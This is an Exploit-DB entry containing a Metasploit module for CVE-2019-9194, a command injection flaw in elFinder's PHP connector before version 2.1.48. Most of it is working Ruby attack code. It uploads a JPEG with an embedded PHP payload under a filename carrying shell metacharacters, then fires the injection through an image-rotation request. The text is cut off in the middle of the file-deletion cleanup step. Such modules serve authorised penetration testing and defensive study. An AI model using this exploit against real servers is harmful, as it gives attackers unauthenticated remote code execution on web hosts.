Exploit-DB #46539
Description: elFinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit)
Type: remote
Platform: php
Date: 2019-03-13
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'elFinder PHP Connector exiftran Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in elFinder
        versions prior to 2.1.48.

        The PHP connector component allows unauthenticated users to upload
        files and perform file modification operations, such as resizing and
        rotation of an image. The file name of uploaded files is not validated,
        allowing shell metacharacters.

        When performing image operations on JPEG files, the filename is passed
        to the `exiftran` utility without appropriate sanitization, causing
        shell commands in the file name to be executed, resulting in remote
        command injection as the web server user.

        The PHP connector is not enabled by default.

        The system must have `exiftran` installed and in `$PATH`.

        This module has been tested successfully on elFinder versions 2.1.47,
        2.1.20 and 2.1.16 on Ubuntu.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Thomas Chauchefoin', # Discovery
          'q3rv0',              # Exploit
          'bcoles'              # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2019-9194'],
          ['EDB', '46481'],
          ['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'],
          ['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/']
        ],
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        => [['Auto', {}]],
      'Privileged'     => false,
      'DisclosureDate' => '2019-02-26',
      'DefaultTarget'  => 0))

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/'])
    ]
  end

  #
  # Check if /php/connector.minimal.php exists and is executable
  #
  def check
    uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
    res = send_request_cgi('uri' => uri)

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200
      vprint_status "#{uri} does not exist"
      return CheckCode::Safe
    end

    if res.body.include? '<?php'
      vprint_status 'PHP is not enabled'
      return CheckCode::Safe
    end

    CheckCode::Detected
  end

  #
  # Upload PHP payload
  #
  def upload(fname)
    # Small JPEG file from:
    # https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
    jpeg = %w[
      FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02
      02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05
      06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E
      0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13
      12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01
      01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08
      01 01 00 00 3F 00 D2 CF 20 FF D9
    ]
    jpeg = [jpeg.join].pack('H*')
    jpeg << rand_text_alphanumeric(50..100)
    jpeg << "<?php #{payload.encoded} ?>"
    jpeg << rand_text_alphanumeric(50..100)

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
    data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
    data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}"))
    post_data = data.to_s

    print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)")

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    )

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    unless res.body.include?('"added"')
      fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
    end

    if res.body.include?('"error"') || res.body.include?('"warning"')
      fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
    end

    json_res = JSON.parse(res.body) rescue nil

    if json_res.nil? || json_res['added'].empty?
      fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
    end

    json_res['added'].first['hash'] || ''
  end

  #
  # Trigger the command injection via image rotation functionality
  # Rotates image by 180 degrees to trigger `exiftran` code path
  #
  def trigger(hash)
    print_status 'Triggering vulnerability via image rotation ...'

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
      'vars_get' => {
        'target' => hash,
        'degree' => '180',
        'mode'   => 'rotate',
        'cmd'    => 'resize'
      }
    }, 5)

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    if res.body.include?('"error"') || res.body.include?('"warning"')
      fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}"
    end
  end

  #
  # Delete uploaded file
  #
  def delete_file(hash)
    print_status 'Removing uploaded file ...'

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
      'vars_get' => {
        'cmd' => 'rm',
        'targets[]' => hash
      }
    }, 15)

    unless res
      print_status 'Connec